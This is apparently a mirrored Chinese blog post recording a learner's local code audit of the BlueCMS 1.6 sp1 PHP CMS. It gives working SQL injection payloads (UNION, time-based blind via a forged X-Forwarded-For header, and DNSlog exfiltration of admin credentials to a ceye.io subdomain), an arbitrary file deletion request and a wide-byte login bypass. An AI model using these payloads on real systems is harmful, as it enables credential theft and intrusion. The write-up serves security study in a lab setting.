0

记录对bluecms1.6sp1进行代码审计

 2 years ago
source link: https://fanygit.github.io/2021/11/15/%E8%AE%B0%E5%BD%95%E5%AF%B9bluecms1.6sp1%E8%BF%9B%E8%A1%8C%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

在看代码审计企业级Web代码安全架构这本书的电子版,找了个案例来进行审计,大佬们推荐bluecms v1.6 sp1这套源码来审计,在本地搭建环境,用这篇文章做记录。

如何入手?

在本地搭建好环境后,用phpstorm打开这套网站的文件夹,看到一堆php文件和文件夹,一下子不知如何下手?

书上提供了四种代码审计的思路

  • 根据敏感关键字回溯参数传递过程
  • 查找可控变量,正向追踪变量传递过程
  • 寻找敏感功能点,通读功能点代码
  • 直接通读全文代码

作为一个新手,当然是选择一个比较容易地方式入手啦,直接打开Seay源代码审计系统自动审计一遍。

扫出255个可疑漏洞

看到这么多可疑点,确实是又让人有些头秃,先不管这么多,先从第一个开始审计。

SQL注入-联合注入

/uploads/ad_js.php

在19行出发现一条sql语句,其ad_id的值直接进行了拼接,接下来看看$ad_id的值是如何来的。

在12行处发现$ad_id变量的值通过$_GET[‘ad_id’]拿到,并且也没有经过过滤,那么这里肯定存在sql注入漏洞,接下来进行测试。

ad_js.php?ad_id= 1 order by 8 //报错
ad_js.php?ad_id= 1 order by 7 // 正常
ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,7
// 回显了7
ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name='blue_admin'

这里报错,我传入的单引号被转义成\'了。为什么会被转义呢?我确实没有看明白,待会在分析,这里很容易绕过,直接使用表名的十六进制0x626c75655f61646d696e

ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,group_concat(admin_name,pwd) from blue_admin

成功拿到管理员的用户名密码。

第一个漏洞审计起来并没有那么复杂,稍微有些基础都能够利用。刚刚有一个问题并没有解决,就是在GET参数获取的时候并没有过滤和加addslashes()函数,为什么给我传入的单引号进行了转义了呢?

在10行引入了一个文件

进入/include/common.inc.php

对所有的GET、POST、COOKIES、REQUEST都执行了deep_addslashes函数。

而这个deep_addslashes函数的功能则是对上面这几个变量传入的值进行特殊字符转义

到这就明白了刚刚为什么会被转义,审计出来的第一个联合注入漏洞。

接下来继续

/upload/ann.php

在33行发现$cid变量进行了拼接,来到$cid拿到值的地方。

可以得知,这里用了intval对拿到的值进行了整数转换,也就意味着我们无法传入sql语句,导致不可利用。

时间盲注&dnslog的利用

/uploads/comment.php

在这个文件中找到如下几处执行sql语句的代码

从代码中可以看到,都是直接拼接了变量,所有的sql语句都拼接了$id这个变量,接下来回溯到$id拿到值的地方。

也将拿到的值进行了整数转换。也就是后面的两条sql都无法利用,不过,我在第三天插入语句里看到了一个函数getip(),接下来跳过去看看。

function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

可以看到,插入语句里的ip字段的值是以上述方式获取,而通过上文审计可以得知,$_SERVER这个变量并没有被转义,也就是我们可以通过伪造X-Forwarded-For这个header 头来控制 ip字段的值,从而进行insert注入。

这是代码中执行的sql语句

INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')

如果我们控制了ip字段的值,并且让字段值为'or sleep(3) or'

INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '"'or sleep(3) or'"', '$is_check')

好像并没有反应,纳闷至极,回头看看代码。

需要三个个条件才能执行到这条sql

$act == 'send'empty($id),这两个变量的值可以通过$_REQUEST变量传递,empty($content)POST获得。

可以明显感觉到延迟了一会,所以这里经过测试,可以检测出存在sql时间盲注。时间盲注可谓是sql注入最麻烦的注入了,肯定是需要写脚本来利用,但是其实还有另一种方式,通过dnslog,但是仅限于服务器在windows下。

'or load_file(concat('\\\\',(select database()),'.uutiyi.ceye.io\\abc')) or'

通过平台 http://ceye.io/records/dns

数据库名直接拼接在了域名上,可谓是方便至极。

'or load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.uutiyi.ceye.io\\abc')) or'

这里查询表名的时候需要用limit 0,1一个一个查,但也比脚本跑要好得多了。接下来都是重复的步骤,节约时间,直接跳到最后一步。

'or load_file(concat('\\\\',(select group_concat(admin_name,pwd) from blue_admin limit 0,1),'.uutiyi.ceye.io\\abc')) or'

成功拿到管理员的用户名密码。

前面已经审计出两个sql注入漏洞,并且在这套代码里,sql注入漏洞太多,审计过程中就忽略了类型重复的漏洞。

继续审计。

/uploads/guest_book.php

在79行中的sql语句中,可以看到插入的值中拼接了很多变量,经过分析,这里有两个变量可控,一个是$online_ip$content

跟踪$online_ip变量。

跳转到uploads/include/common.inc.php文件中

获取了getip()函数的返回值,从上文分析中,可以知道,这里的getip获得的返回值可以通过伪造X-Forwarded-For这个header 头来控制 ip字段的值。

成功延迟了3秒,说明可以注入,这里就不在继续演示了,上面两次已经演示过了。

任意文件删除

在user.php 795行

可以看到执行了一个unlink函数,参数直接拼接了$_POST['face_pic3'],可以直接进行任意文件删除,

先在网页根目录创建一个文件进行测试

回溯看看,执行这到这需要什么条件。

需要进行登录,点击用户管理->我的个人资料->确定修改,用bp抓取这个请求

将face_pic3参数修改为./1.txt 提交后即可删除刚刚创建的文件。

后台登录宽字节注入绕过登录

uploads/admin/include/common.fun.php

在179行

function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}

这个是验证后台登录的函数,这里的sql语句可以看到直接拼接了$name变量。看看哪里调用了这个函数。

回溯到 /uploads/admin/login.php

32行调用了check_admin函数,传入了$admin_name$admin_pwd变量,这两个变量通过POST接收,也并没有经过处理。那么我们直接通过后台登录页面进行传参。

http://127.0.0.1:9916/uploads/admin/login.php
admin_name=admin' or 1=1%23&admin_pwd=admin&submit=%B5%C7%C2%BC&act=do_login

单引号经过了转义

这里可以用宽字节注入,输入' 被转义成\',用 ``%df绕过 ,%df%5c’,这里的%5c就是`,%df%5c会被解析成一个中文字符,从而照成'逃逸。

这套代码其实远远不止上面列出的这几个漏洞,代码中的sql语句基本上都是直接进行拼接,大部分地方都可以被利用。由此可见当年的那些网站有多不安全。这也是我第一次对整站进行审计,说说自己的感受吧,这套网站中,sql注入很多,刚开始还很耐心,后边真的懒得去看了,这套代码中有一个文件包含的洞,但是在我的环境中就是利用不了,我还以为是win10特性变了,不能在末尾追加.来绕过后缀的拼接,就在win7上复现,结果还是不行,最终也没找到原因,真是头秃,很多时候都感觉无从下手,有很多的文件,就是不知道去看哪一个,上面就是我遇到的问题。不过也学到了不少,这次审计学到的就是dnslog的利用,之前是知道,但是没有实际去做,用dnslog确实让时间盲注省事不少,但只能仅限于windows下。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK